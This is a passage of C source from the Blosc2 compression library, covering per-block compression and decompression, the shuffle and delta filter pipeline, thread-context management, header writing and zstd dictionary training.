BLOSC_SNAPPY) { cbytes = snappy_wrap_compress((char*)_src + j * neblock, (size_t)neblock, (char*)dest, (size_t)maxout); } #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) else if (context->compcode == BLOSC_ZLIB) { cbytes = zlib_wrap_compress((char*)_src + j * neblock, (size_t)neblock, (char*)dest, (size_t)maxout, context->clevel); } #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) else if (context->compcode == BLOSC_ZSTD) { cbytes = zstd_wrap_compress(thread_context, (char*)_src + j * neblock, (size_t)neblock, (char*)dest, (size_t)maxout, context->clevel); } #endif /* HAVE_ZSTD */ else { blosc_compcode_to_compname(context->compcode, &compname); fprintf(stderr, "Blosc has not been compiled with '%s' ", compname); fprintf(stderr, "compression support. Please use one having it."); return -5; /* signals no compression support */ } if (cbytes > maxout) { /* Buffer overrun caused by compression (should never happen) */ return -1; } if (cbytes < 0) { /* cbytes should never be negative */ return -2; } if (!dict_training) { if (cbytes == 0 || cbytes == neblock) { /* The compressor has been unable to compress data at all. */ /* Before doing the copy, check that we are not running into a buffer overflow. */ if ((ntbytes + neblock) > maxbytes) { return 0; /* Non-compressible data */ } memcpy(dest, _src + j * neblock, (unsigned int)neblock); cbytes = neblock; } _sw32(dest - 4, cbytes); } dest += cbytes; ntbytes += cbytes; ctbytes += cbytes; } /* Closes j < nstreams */ //printf("c%d", ctbytes); return ctbytes; } /* Process the filter pipeline (decompression mode) */ int pipeline_d(blosc2_context* context, const int32_t bsize, uint8_t* dest, const int32_t offset, uint8_t* src, uint8_t* tmp, uint8_t* tmp2, int last_filter_index) { int32_t typesize = context->typesize; uint8_t* filters = context->filters; uint8_t* filters_meta = context->filters_meta; uint8_t* _src = src; uint8_t* _dest = tmp; uint8_t* _tmp = tmp2; int errcode = 0; for (int i = BLOSC2_MAX_FILTERS - 1; i >= 0; i--) { // Delta filter requires the whole chunk ready int last_copy_filter = (last_filter_index == i) || (next_filter(filters, i, 'd') == BLOSC_DELTA); if (last_copy_filter) { _dest = dest + offset; } switch (filters[i]) { case BLOSC_SHUFFLE: for (int j = 0; j <= filters_meta[i]; j++) { unshuffle(typesize, bsize, _src, _dest); // Cycle filters when required if (j < filters_meta[i]) { _src = _dest; _dest = _tmp; _tmp = _src; } // Check whether we have to copy the intermediate _dest buffer to final destination if (last_copy_filter && (filters_meta[i] % 2) == 1 && j == filters_meta[i]) { memcpy(dest + offset, _dest, (unsigned int)bsize); } } break; case BLOSC_BITSHUFFLE: bitunshuffle(typesize, bsize, _src, _dest, _tmp, context->src[0]); break; case BLOSC_DELTA: if (context->nthreads == 1) { /* Serial mode */ delta_decoder(dest, offset, bsize, typesize, _dest); } else { /* Force the thread in charge of the block 0 to go first */ pthread_mutex_lock(&context->delta_mutex); if (context->dref_not_init) { if (offset != 0) { pthread_cond_wait(&context->delta_cv, &context->delta_mutex); } else { delta_decoder(dest, offset, bsize, typesize, _dest); context->dref_not_init = 0; pthread_cond_broadcast(&context->delta_cv); } } pthread_mutex_unlock(&context->delta_mutex); if (offset != 0) { delta_decoder(dest, offset, bsize, typesize, _dest); } } break; case BLOSC_TRUNC_PREC: // TRUNC_PREC filter does not need to be undone break; default: if (filters[i] != BLOSC_NOFILTER) { fprintf(stderr, "Filter %d not handled during decompression\n", filters[i]); errcode = -1; } } if (last_filter_index == i) { return errcode; } // Cycle buffers when required if ((filters[i] != BLOSC_NOFILTER) && (filters[i] != BLOSC_TRUNC_PREC)) { _src = _dest; _dest = _tmp; _tmp = _src; } } return errcode; } /* Decompress & unshuffle a single block */ static int blosc_d( struct thread_context* thread_context, int32_t bsize, int32_t leftoverblock, const uint8_t* src, int32_t srcsize, int32_t src_offset, uint8_t* dest, int32_t dest_offset, uint8_t* tmp, uint8_t* tmp2) { blosc2_context* context = thread_context->parent_context; uint8_t* filters = context->filters; uint8_t *tmp3 = thread_context->tmp4; int32_t compformat = (context->header_flags & 0xe0) >> 5; int dont_split = (context->header_flags & 0x10) >> 4; //uint8_t blosc_version_format = src[0]; int nstreams; int32_t neblock; int32_t nbytes; /* number of decompressed bytes in split */ int32_t cbytes; /* number of compressed bytes in split */ int32_t ctbytes = 0; /* number of compressed bytes in block */ int32_t ntbytes = 0; /* number of uncompressed bytes in block */ uint8_t* _dest; int32_t typesize = context->typesize; int32_t nblock = dest_offset / context->blocksize; const char* compname; if (context->block_maskout != NULL && context->block_maskout[nblock]) { // Do not decompress, but act as if we successfully decompressed everything return bsize; } if (src_offset <= 0 || src_offset >= srcsize) { /* Invalid block src offset encountered */ return -1; } src += src_offset; srcsize -= src_offset; int last_filter_index = last_filter(filters, 'd'); if ((last_filter_index >= 0) && (next_filter(filters, BLOSC2_MAX_FILTERS, 'd') != BLOSC_DELTA)) { // We are making use of some filter, so use a temp for destination _dest = tmp; } else { // If no filters, or only DELTA in pipeline _dest = dest + dest_offset; } /* The number of compressed data streams for this block */ if (!dont_split && !leftoverblock && !context->use_dict) { // We don't want to split when in a training dict state nstreams = (int32_t)typesize; } else { nstreams = 1; } neblock = bsize / nstreams; for (int j = 0; j < nstreams; j++) { if (srcsize < sizeof(int32_t)) { /* Not enough input to read compressed size */ return -1; } srcsize -= sizeof(int32_t); cbytes = sw32_(src); /* amount of compressed bytes */ if (cbytes > 0) { if (srcsize < cbytes) { /* Not enough input to read compressed bytes */ return -1; } srcsize -= cbytes; } src += sizeof(int32_t); ctbytes += (int32_t)sizeof(int32_t); /* Uncompress */ if (cbytes <= 0) { // A run if (cbytes < -255) { // Runs can only encode a byte return -2; } uint8_t value = -cbytes; memset(_dest, value, (unsigned int)neblock); nbytes = neblock; cbytes = 0; // everything is encoded in the cbytes token } else if (cbytes == neblock) { memcpy(_dest, src, (unsigned int)neblock); nbytes = (int32_t)neblock; } else { if (compformat == BLOSC_BLOSCLZ_FORMAT) { nbytes = blosclz_decompress(src, cbytes, _dest, (int)neblock); } #if defined(HAVE_LZ4) else if (compformat == BLOSC_LZ4_FORMAT) { nbytes = lz4_wrap_decompress((char*)src, (size_t)cbytes, (char*)_dest, (size_t)neblock); } #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) else if (compformat == BLOSC_LIZARD_FORMAT) { nbytes = lizard_wrap_decompress((char*)src, (size_t)cbytes, (char*)_dest, (size_t)neblock); } #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) else if (compformat == BLOSC_SNAPPY_FORMAT) { nbytes = snappy_wrap_decompress((char*)src, (size_t)cbytes, (char*)_dest, (size_t)neblock); } #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) else if (compformat == BLOSC_ZLIB_FORMAT) { nbytes = zlib_wrap_decompress((char*)src, (size_t)cbytes, (char*)_dest, (size_t)neblock); } #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) else if (compformat == BLOSC_ZSTD_FORMAT) { nbytes = zstd_wrap_decompress(thread_context, (char*)src, (size_t)cbytes, (char*)_dest, (size_t)neblock); } #endif /* HAVE_ZSTD */ else { compname = clibcode_to_clibname(compformat); fprintf(stderr, "Blosc has not been compiled with decompression " "support for '%s' format. ", compname); fprintf(stderr, "Please recompile for adding this support.\n"); return -5; /* signals no decompression support */ } /* Check that decompressed bytes number is correct */ if (nbytes != neblock) { return -2; } } src += cbytes; ctbytes += cbytes; _dest += nbytes; ntbytes += nbytes; } /* Closes j < nstreams */ if (last_filter_index >= 0) { int errcode = pipeline_d(context, bsize, dest, dest_offset, tmp, tmp2, tmp3, last_filter_index); if (errcode < 0) return errcode; } /* Return the number of uncompressed bytes */ return (int)ntbytes; } /* Serial version for compression/decompression */ static int serial_blosc(struct thread_context* thread_context) { blosc2_context* context = thread_context->parent_context; int32_t j, bsize, leftoverblock; int32_t cbytes; int32_t ntbytes = (int32_t)context->output_bytes; int32_t* bstarts = context->bstarts; uint8_t* tmp = thread_context->tmp; uint8_t* tmp2 = thread_context->tmp2; int dict_training = context->use_dict && (context->dict_cdict == NULL); bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; for (j = 0; j < context->nblocks; j++) { if (context->do_compress && !memcpyed && !dict_training) { _sw32(bstarts + j, ntbytes); } bsize = context->blocksize; leftoverblock = 0; if ((j == context->nblocks - 1) && (context->leftover > 0)) { bsize = context->leftover; leftoverblock = 1; } if (context->do_compress) { if (memcpyed && !context->prefilter) { /* We want to memcpy only */ memcpy(context->dest + BLOSC_MAX_OVERHEAD + j * context->blocksize, context->src + j * context->blocksize, (unsigned int)bsize); cbytes = (int32_t)bsize; } else { /* Regular compression */ cbytes = blosc_c(thread_context, bsize, leftoverblock, ntbytes, context->destsize, context->src, j * context->blocksize, context->dest + ntbytes, tmp, tmp2); if (cbytes == 0) { ntbytes = 0; /* uncompressible data */ break; } } } else { if (memcpyed) { // Check that sizes in header are compatible, otherwise there is a header corruption int32_t csize = sw32_(context->src + 12); /* compressed buffer size */ if (context->sourcesize + BLOSC_MAX_OVERHEAD != csize) { return -1; } if (context->srcsize < BLOSC_MAX_OVERHEAD + (j * context->blocksize) + bsize) { /* Not enough input to copy block */ return -1; } memcpy(context->dest + j * context->blocksize, context->src + BLOSC_MAX_OVERHEAD + j * context->blocksize, (unsigned int)bsize); cbytes = (int32_t)bsize; } else { /* Regular decompression */ cbytes = blosc_d(thread_context, bsize, leftoverblock, context->src, context->srcsize, sw32_(bstarts + j), context->dest, j * context->blocksize, tmp, tmp2); } } if (cbytes < 0) { ntbytes = cbytes; /* error in blosc_c or blosc_d */ break; } ntbytes += cbytes; } return ntbytes; } static void t_blosc_do_job(void *ctxt); /* Threaded version for compression/decompression */ static int parallel_blosc(blosc2_context* context) { #ifdef BLOSC_POSIX_BARRIERS int rc; #endif /* Set sentinels */ context->thread_giveup_code = 1; context->thread_nblock = -1; if (threads_callback) { threads_callback(threads_callback_data, t_blosc_do_job, context->nthreads, sizeof(struct thread_context), (void*) context->thread_contexts); } else { /* Synchronization point for all threads (wait for initialization) */ WAIT_INIT(-1, context); /* Synchronization point for all threads (wait for finalization) */ WAIT_FINISH(-1, context); } if (context->thread_giveup_code <= 0) { /* Compression/decompression gave up. Return error code. */ return context->thread_giveup_code; } /* Return the total bytes (de-)compressed in threads */ return (int)context->output_bytes; } /* initialize a thread_context that has already been allocated */ static void init_thread_context(struct thread_context* thread_context, blosc2_context* context, int32_t tid) { int32_t ebsize; thread_context->parent_context = context; thread_context->tid = tid; ebsize = context->blocksize + context->typesize * (int32_t)sizeof(int32_t); thread_context->tmp_nbytes = (size_t)3 * context->blocksize + ebsize; thread_context->tmp = my_malloc(thread_context->tmp_nbytes); thread_context->tmp2 = thread_context->tmp + context->blocksize; thread_context->tmp3 = thread_context->tmp + context->blocksize + ebsize; thread_context->tmp4 = thread_context->tmp + 2 * context->blocksize + ebsize; thread_context->tmp_blocksize = context->blocksize; #if defined(HAVE_ZSTD) thread_context->zstd_cctx = NULL; thread_context->zstd_dctx = NULL; #endif /* Create the hash table for LZ4 in case we are using IPP */ #ifdef HAVE_IPP IppStatus status; int inlen = thread_context->tmp_blocksize > 0 ? thread_context->tmp_blocksize : 1 << 16; int hash_size = 0; status = ippsEncodeLZ4HashTableGetSize_8u(&hash_size); if (status != ippStsNoErr) { fprintf(stderr, "Error in ippsEncodeLZ4HashTableGetSize_8u"); } Ipp8u *hash_table = ippsMalloc_8u(hash_size); status = ippsEncodeLZ4HashTableInit_8u(hash_table, inlen); if (status != ippStsNoErr) { fprintf(stderr, "Error in ippsEncodeLZ4HashTableInit_8u"); } thread_context->lz4_hash_table = hash_table; #endif } static struct thread_context* create_thread_context(blosc2_context* context, int32_t tid) { struct thread_context* thread_context; thread_context = (struct thread_context*)my_malloc(sizeof(struct thread_context)); init_thread_context(thread_context, context, tid); return thread_context; } /* free members of thread_context, but not thread_context itself */ static void destroy_thread_context(struct thread_context* thread_context) { my_free(thread_context->tmp); #if defined(HAVE_ZSTD) if (thread_context->zstd_cctx != NULL) { ZSTD_freeCCtx(thread_context->zstd_cctx); } if (thread_context->zstd_dctx != NULL) { ZSTD_freeDCtx(thread_context->zstd_dctx); } #endif #ifdef HAVE_IPP if (thread_context->lz4_hash_table != NULL) { ippsFree(thread_context->lz4_hash_table); } #endif } void free_thread_context(struct thread_context* thread_context) { destroy_thread_context(thread_context); my_free(thread_context); } int check_nthreads(blosc2_context* context) { if (context->nthreads <= 0) { fprintf(stderr, "Error. nthreads must be a positive integer"); return -1; } if (context->new_nthreads != context->nthreads) { if (context->nthreads > 1) { release_threadpool(context); } context->nthreads = context->new_nthreads; } if (context->new_nthreads > 1 && context->threads_started == 0) { init_threadpool(context); } return context->nthreads; } /* Do the compression or decompression of the buffer depending on the global params. */ static int do_job(blosc2_context* context) { int32_t ntbytes; /* Set sentinels */ context->dref_not_init = 1; /* Check whether we need to restart threads */ check_nthreads(context); /* Run the serial version when nthreads is 1 or when the buffers are not larger than blocksize */ if (context->nthreads == 1 || (context->sourcesize / context->blocksize) <= 1) { /* The context for this 'thread' has no been initialized yet */ if (context->serial_context == NULL) { context->serial_context = create_thread_context(context, 0); } else if (context->blocksize != context->serial_context->tmp_blocksize) { free_thread_context(context->serial_context); context->serial_context = create_thread_context(context, 0); } ntbytes = serial_blosc(context->serial_context); } else { ntbytes = parallel_blosc(context); } return ntbytes; } /* Convert filter pipeline to filter flags */ static uint8_t filters_to_flags(const uint8_t* filters) { uint8_t flags = 0; for (int i = 0; i < BLOSC2_MAX_FILTERS; i++) { switch (filters[i]) { case BLOSC_SHUFFLE: flags |= BLOSC_DOSHUFFLE; break; case BLOSC_BITSHUFFLE: flags |= BLOSC_DOBITSHUFFLE; break; case BLOSC_DELTA: flags |= BLOSC_DODELTA; break; default : break; } } return flags; } /* Convert filter flags to filter pipeline */ static void flags_to_filters(const uint8_t flags, uint8_t* filters) { /* Initialize the filter pipeline */ memset(filters, 0, BLOSC2_MAX_FILTERS); /* Fill the filter pipeline */ if (flags & BLOSC_DOSHUFFLE) filters[BLOSC2_MAX_FILTERS - 1] = BLOSC_SHUFFLE; if (flags & BLOSC_DOBITSHUFFLE) filters[BLOSC2_MAX_FILTERS - 1] = BLOSC_BITSHUFFLE; if (flags & BLOSC_DODELTA) filters[BLOSC2_MAX_FILTERS - 2] = BLOSC_DELTA; } static int initialize_context_compression( blosc2_context* context, const void* src, int32_t srcsize, void* dest, int32_t destsize, int clevel, uint8_t const *filters, uint8_t const *filters_meta, int32_t typesize, int compressor, int32_t blocksize, int new_nthreads, int nthreads, blosc2_schunk* schunk) { /* Set parameters */ context->do_compress = 1; context->src = (const uint8_t*)src; context->srcsize = srcsize; context->dest = (uint8_t*)dest; context->output_bytes = 0; context->destsize = destsize; context->sourcesize = srcsize; context->typesize = (int32_t)typesize; context->filter_flags = filters_to_flags(filters); for (int i = 0; i < BLOSC2_MAX_FILTERS; i++) { context->filters[i] = filters[i]; context->filters_meta[i] = filters_meta[i]; } context->compcode = compressor; context->nthreads = nthreads; context->new_nthreads = new_nthreads; context->end_threads = 0; context->clevel = clevel; context->schunk = schunk; /* Tune some compression parameters */ context->blocksize = (int32_t)blocksize; if (context->btune != NULL) { btune_next_cparams(context); } else { btune_next_blocksize(context); } char* envvar = getenv("BLOSC_WARN"); int warnlvl = 0; if (envvar != NULL) { warnlvl = strtol(envvar, NULL, 10); } /* Check buffer size limits */ if (srcsize > BLOSC_MAX_BUFFERSIZE) { if (warnlvl > 0) { fprintf(stderr, "Input buffer size cannot exceed %d bytes\n", BLOSC_MAX_BUFFERSIZE); } return 0; } if (destsize < BLOSC_MAX_OVERHEAD) { if (warnlvl > 0) { fprintf(stderr, "Output buffer size should be larger than %d bytes\n", BLOSC_MAX_OVERHEAD); } return 0; } if (destsize < BLOSC_MAX_OVERHEAD) { if (warnlvl > 0) { fprintf(stderr, "Output buffer size should be larger than %d bytes\n", BLOSC_MAX_OVERHEAD); } return -2; } if (destsize < BLOSC_MAX_OVERHEAD) { fprintf(stderr, "Output buffer size should be larger than %d bytes\n", BLOSC_MAX_OVERHEAD); return -1; } /* Compression level */ if (clevel < 0 || clevel > 9) { /* If clevel not in 0..9, print an error */ fprintf(stderr, "`clevel` parameter must be between 0 and 9!\n"); return -10; } /* Check typesize limits */ if (context->typesize > BLOSC_MAX_TYPESIZE) { /* If typesize is too large, treat buffer as an 1-byte stream. */ context->typesize = 1; } /* Compute number of blocks in buffer */ context->nblocks = context->sourcesize / context->blocksize; context->leftover = context->sourcesize % context->blocksize; context->nblocks = (context->leftover > 0) ? (context->nblocks + 1) : context->nblocks; return 1; } /* Get filter flags from header flags */ static uint8_t get_filter_flags(const uint8_t header_flags, const int32_t typesize) { uint8_t flags = 0; if ((header_flags & BLOSC_DOSHUFFLE) && (typesize > 1)) { flags |= BLOSC_DOSHUFFLE; } if (header_flags & BLOSC_DOBITSHUFFLE) { flags |= BLOSC_DOBITSHUFFLE; } if (header_flags & BLOSC_DODELTA) { flags |= BLOSC_DODELTA; } if (header_flags & BLOSC_MEMCPYED) { flags |= BLOSC_MEMCPYED; } return flags; } static int initialize_context_decompression(blosc2_context* context, const void* src, int32_t srcsize, void* dest, int32_t destsize) { uint8_t blosc2_flags = 0; int32_t cbytes; int32_t bstarts_offset; int32_t bstarts_end; context->do_compress = 0; context->src = (const uint8_t*)src; context->srcsize = srcsize; context->dest = (uint8_t*)dest; context->destsize = destsize; context->output_bytes = 0; context->end_threads = 0; if (context->srcsize < BLOSC_MIN_HEADER_LENGTH) { /* Not enough input to read minimum header */ return -1; } context->header_flags = context->src[2]; context->typesize = context->src[3]; context->sourcesize = sw32_(context->src + 4); context->blocksize = sw32_(context->src + 8); cbytes = sw32_(context->src + 12); // Some checks for malformed headers if (context->blocksize <= 0 || context->blocksize > destsize || context->typesize <= 0 || context->typesize > BLOSC_MAX_TYPESIZE || cbytes > srcsize) { return -1; } /* Check that we have enough space to decompress */ if (context->sourcesize > (int32_t)destsize) { return -1; } /* Total blocks */ context->nblocks = context->sourcesize / context->blocksize; context->leftover = context->sourcesize % context->blocksize; context->nblocks = (context->leftover > 0) ? context->nblocks + 1 : context->nblocks; if (context->block_maskout != NULL && context->block_maskout_nitems != context->nblocks) { fprintf(stderr, "The number of items in block_maskout (%d) must match the number" " of blocks in chunk (%d)", context->block_maskout_nitems, context->nblocks); return -2; } if ((context->header_flags & BLOSC_DOSHUFFLE) && (context->header_flags & BLOSC_DOBITSHUFFLE)) { /* Extended header */ if (context->srcsize < BLOSC_EXTENDED_HEADER_LENGTH) { /* Not enough input to read extended header */ return -1; } uint8_t* filters = (uint8_t*)(context->src + BLOSC_MIN_HEADER_LENGTH); uint8_t* filters_meta = filters + 8; uint8_t header_version = context->src[0]; // The number of filters depends on the version of the header // (we need to read less because filters where not initialized to zero in blosc2 alpha series) int max_filters = (header_version == BLOSC2_VERSION_FORMAT_ALPHA) ? 5 : BLOSC2_MAX_FILTERS; for (int i = 0; i < max_filters; i++) { context->filters[i] = filters[i]; context->filters_meta[i] = filters_meta[i]; } context->filter_flags = filters_to_flags(filters); bstarts_offset = BLOSC_EXTENDED_HEADER_LENGTH; blosc2_flags = context->src[0x1F]; } else { /* Regular (Blosc1) header */ context->filter_flags = get_filter_flags(context->header_flags, context->typesize); flags_to_filters(context->header_flags, context->filters); bstarts_offset = BLOSC_MIN_HEADER_LENGTH; } context->bstarts = (int32_t*)(context->src + bstarts_offset); bstarts_end = bstarts_offset + (context->nblocks * sizeof(int32_t)); if (srcsize < bstarts_end) { /* Not enough input to read entire `bstarts` section */ return -1; } srcsize -= bstarts_end; /* Read optional dictionary if flag set */ if (blosc2_flags & BLOSC2_USEDICT) { #if defined(HAVE_ZSTD) context->use_dict = 1; if (context->dict_ddict != NULL) { // Free the existing dictionary (probably from another chunk) ZSTD_freeDDict(context->dict_ddict); } // The trained dictionary is after the bstarts block if (srcsize < sizeof(int32_t)) { /* Not enough input to size of dictionary */ return -1; } srcsize -= sizeof(int32_t); context->dict_size = (size_t)sw32_(context->src + bstarts_end); if (context->dict_size <= 0 || context->dict_size > BLOSC2_MAXDICTSIZE) { /* Dictionary size is smaller than minimum or larger than maximum allowed */ return -1; } if (srcsize < (int32_t)context->dict_size) { /* Not enough input to read entire dictionary */ return -1; } srcsize -= context->dict_size; context->dict_buffer = (void*)(context->src + bstarts_end + sizeof(int32_t)); context->dict_ddict = ZSTD_createDDict(context->dict_buffer, context->dict_size); #endif // HAVE_ZSTD } return 0; } static int write_compression_header(blosc2_context* context, bool extended_header) { int32_t compformat; int dont_split; int dict_training = context->use_dict && (context->dict_cdict == NULL); // Set the whole header to zeros so that the reserved values are zeroed if (extended_header) { memset(context->dest, 0, BLOSC_EXTENDED_HEADER_LENGTH); } else { memset(context->dest, 0, BLOSC_MIN_HEADER_LENGTH); } /* Write version header for this block */ context->dest[0] = BLOSC_VERSION_FORMAT; /* Write compressor format */ compformat = -1; switch (context->compcode) { case BLOSC_BLOSCLZ: compformat = BLOSC_BLOSCLZ_FORMAT; context->dest[1] = BLOSC_BLOSCLZ_VERSION_FORMAT; break; #if defined(HAVE_LZ4) case BLOSC_LZ4: compformat = BLOSC_LZ4_FORMAT; context->dest[1] = BLOSC_LZ4_VERSION_FORMAT; break; case BLOSC_LZ4HC: compformat = BLOSC_LZ4HC_FORMAT; context->dest[1] = BLOSC_LZ4HC_VERSION_FORMAT; break; #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) case BLOSC_LIZARD: compformat = BLOSC_LIZARD_FORMAT; context->dest[1] = BLOSC_LIZARD_VERSION_FORMAT; break; #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) case BLOSC_SNAPPY: compformat = BLOSC_SNAPPY_FORMAT; context->dest[1] = BLOSC_SNAPPY_VERSION_FORMAT; break; #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) case BLOSC_ZLIB: compformat = BLOSC_ZLIB_FORMAT; context->dest[1] = BLOSC_ZLIB_VERSION_FORMAT; break; #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) case BLOSC_ZSTD: compformat = BLOSC_ZSTD_FORMAT; context->dest[1] = BLOSC_ZSTD_VERSION_FORMAT; break; #endif /* HAVE_ZSTD */ default: { const char* compname; compname = clibcode_to_clibname(compformat); fprintf(stderr, "Blosc has not been compiled with '%s' ", compname); fprintf(stderr, "compression support. Please use one having it."); return -5; /* signals no compression support */ break; } } if (context->clevel == 0) { /* Compression level 0 means buffer to be memcpy'ed */ context->header_flags |= (uint8_t)BLOSC_MEMCPYED; } if (context->sourcesize < BLOSC_MIN_BUFFERSIZE) { /* Buffer is too small. Try memcpy'ing. */ context->header_flags |= (uint8_t)BLOSC_MEMCPYED; } bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; context->dest[2] = 0; /* zeroes flags */ context->dest[3] = (uint8_t)context->typesize; _sw32(context->dest + 4, (int32_t)context->sourcesize); _sw32(context->dest + 8, (int32_t)context->blocksize); if (extended_header) { /* Mark that we are handling an extended header */ context->header_flags |= (BLOSC_DOSHUFFLE | BLOSC_DOBITSHUFFLE); /* Store filter pipeline info at the end of the header */ uint8_t *filters = context->dest + BLOSC_MIN_HEADER_LENGTH; uint8_t *filters_meta = filters + 8; for (int i = 0; i < BLOSC2_MAX_FILTERS; i++) { filters[i] = context->filters[i]; filters_meta[i] = context->filters_meta[i]; } uint8_t* blosc2_flags = context->dest + 0x1F; *blosc2_flags = 0; // zeroes flags *blosc2_flags |= is_little_endian() ? 0 : BLOSC2_BIGENDIAN; // endianness if (dict_training || memcpyed) { context->bstarts = NULL; context->output_bytes = BLOSC_EXTENDED_HEADER_LENGTH; } else { context->bstarts = (int32_t*)(context->dest + BLOSC_EXTENDED_HEADER_LENGTH); context->output_bytes = BLOSC_EXTENDED_HEADER_LENGTH + sizeof(int32_t) * context->nblocks; } if (context->use_dict) { *blosc2_flags |= BLOSC2_USEDICT; } } else { // Regular header if (memcpyed) { context->bstarts = NULL; context->output_bytes = BLOSC_MIN_HEADER_LENGTH; } else { context->bstarts = (int32_t *) (context->dest + BLOSC_MIN_HEADER_LENGTH); context->output_bytes = BLOSC_MIN_HEADER_LENGTH + sizeof(int32_t) * context->nblocks; } } // when memcpyed bit is set, there is no point in dealing with others if (!memcpyed) { if (context->filter_flags & BLOSC_DOSHUFFLE) { /* Byte-shuffle is active */ context->header_flags |= BLOSC_DOSHUFFLE; } if (context->filter_flags & BLOSC_DOBITSHUFFLE) { /* Bit-shuffle is active */ context->header_flags |= BLOSC_DOBITSHUFFLE; } if (context->filter_flags & BLOSC_DODELTA) { /* Delta is active */ context->header_flags |= BLOSC_DODELTA; } dont_split = !split_block(context, context->typesize, context->blocksize, extended_header); context->header_flags |= dont_split << 4; /* dont_split is in bit 4 */ context->header_flags |= compformat << 5; /* codec starts at bit 5 */ } // store header flags in dest context->dest[2] = context->header_flags; return 1; } int blosc_compress_context(blosc2_context* context) { int ntbytes = 0; blosc_timestamp_t last, current; bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; blosc_set_timestamp(&last); if (!memcpyed) { /* Do the actual compression */ ntbytes = do_job(context); if (ntbytes < 0) { return -1; } if (ntbytes == 0) { // Try out with a memcpy later on (last chance for fitting src buffer in dest). context->header_flags |= (uint8_t)BLOSC_MEMCPYED; memcpyed = true; } } if (memcpyed) { if (context->sourcesize + BLOSC_MAX_OVERHEAD > context->destsize) { /* We are exceeding maximum output size */ ntbytes = 0; } else { context->output_bytes = BLOSC_MAX_OVERHEAD; ntbytes = do_job(context); if (ntbytes < 0) { return -1; } // Success! update the memcpy bit in header context->dest[2] = context->header_flags; // and clear the memcpy bit in context (for next reuse) context->header_flags &= ~(uint8_t)BLOSC_MEMCPYED; } } /* Set the number of compressed bytes in header */ _sw32(context->dest + 12, ntbytes); /* Set the number of bytes in dest buffer (might be useful for btune) */ context->destsize = ntbytes; assert(ntbytes <= context->destsize); if (context->btune != NULL) { blosc_set_timestamp(&current); double ctime = blosc_elapsed_secs(last, current); btune_update(context, ctime); } return ntbytes; } /* The public secure routine for compression with context. */ int blosc2_compress_ctx(blosc2_context* context, const void* src, int32_t srcsize, void* dest, int32_t destsize) { int error, cbytes; if (context->do_compress != 1) { fprintf(stderr, "Context is not meant for compression. Giving up.\n"); return -10; } error = initialize_context_compression( context, src, srcsize, dest, destsize, context->clevel, context->filters, context->filters_meta, context->typesize, context->compcode, context->blocksize, context->new_nthreads, context->nthreads, context->schunk); if (error <= 0) { return error; } /* Write the extended header */ error = write_compression_header(context, true); if (error < 0) { return error; } cbytes = blosc_compress_context(context); if (cbytes < 0) { return cbytes; } if (context->use_dict && context->dict_cdict == NULL) { if (context->compcode != BLOSC_ZSTD) { const char* compname; compname = clibcode_to_clibname(context->compcode); fprintf(stderr, "Codec %s does not support dicts. Giving up.\n", compname); return -20; } #ifdef HAVE_ZSTD // Build the dictionary out of the filters outcome and compress with it int32_t dict_maxsize = BLOSC2_MAXDICTSIZE; // Do not make the dict more than 5% larger than uncompressed buffer if (dict_maxsize > srcsize / 20) { dict_maxsize = srcsize / 20; } void* samples_buffer = context->dest + BLOSC_EXTENDED_HEADER_LENGTH; unsigned nblocks = 8; // the minimum that accepts zstd as of 1.4.0 unsigned sample_fraction = 1; // 1 allows to use most of the chunk for training size_t sample_size = context->sourcesize / nblocks / sample_fraction; // Populate the samples sizes for training the dictionary size_t* samples_sizes = malloc(nblocks * sizeof(void*)); for (size_t i = 0; i < nblocks; i++) { samples_sizes[i] = sample_size; } // Train from samples void* dict_buffer = malloc(dict_maxsize); size_t dict_actual_size = ZDICT_trainFromBuffer(dict_buffer, dict_maxsize, samples_buffer, samples_sizes, nblocks); // TODO: experiment with parameters of low-level fast cover algorithm // Note that this API is still unstable. See: https://github.com/facebook/zstd/issues/1599 // ZDICT_fastCover_params_t fast_cover_params; // memset(&fast_cover_params, 0, sizeof(fast_cover_params)); // fast_cover_params.d = nblocks; // fast_cover_params.steps = 4; // fast_cover_params.zParams.compressionLevel = context->clevel; //size_t dict_actual_size = ZDICT_optimizeTrainFromBuffer_fastCover(dict_buffer, dict_maxsize, samples_buffer, samples_sizes, nblocks, &fast_cover_params); if (ZDICT_isError(dict_actual_size) != ZSTD_error_no_error) { fprintf(stderr, "Error in ZDICT_trainFromBuffer(): '%s'." " Giving up.\n", ZDICT_getErrorName(dict_actual_size)); return -20; } assert(dict_actual_size > 0); free(samples_sizes); // Update bytes counter and pointers to bstarts for the new compressed buffer context->bstarts = (int32_t*)(context->dest + BLOSC_EXTENDED_HEADER_LENGTH); context->output_bytes = BLOSC_EXTENDED_HEADER_LENGTH + sizeof(int32_t) * context->nblocks; /* Write the size of trained dict at the end of bstarts */ _sw32(context->dest + context->output_bytes, (int32_t)dict_actual_size); context->output_bytes += sizeof(int32_t); /* Write the trained dict afterwards */ context->dict_buffer = context->dest + context->output_bytes; memcpy(context->dict_buffer, dict_buffer, (unsigned int)dict_actual_size); context->dict_cdict = ZSTD_createCDict(dict_buffer, dict_actual_size, 1); // TODO: use get_accel() free(dict_buffer); // the dictionary is copied in the header now context->output_bytes += (int32_t)dict_actual_size; context->dict_size = dict_actual_size; /* Compress with dict */ cbytes = blosc_compress_context(context); // Invalidate the dictionary for compressing other chunks using the same context context->dict_buffer = NULL; ZSTD_freeCDict(context->dict_cdict); context->dict_cdict = NULL; #endif // HAVE_ZSTD } return cbytes; } void build_filters(const int doshuffle, const int delta, const size_t typesize, uint8_t* filters) { /* Fill the end part of the filter pipeline */ if ((doshuffle == BLOSC_SHUFFLE) && (typesize > 1)) filters[BLOSC2_MAX_FILTERS - 1] = BLOSC_SHUFFLE; if (doshuffle == BLOSC_BITSHUFFLE) filters[BLOSC2_MAX_FILTERS - 1] = BLOSC_BITSHUFFLE; if (delta) 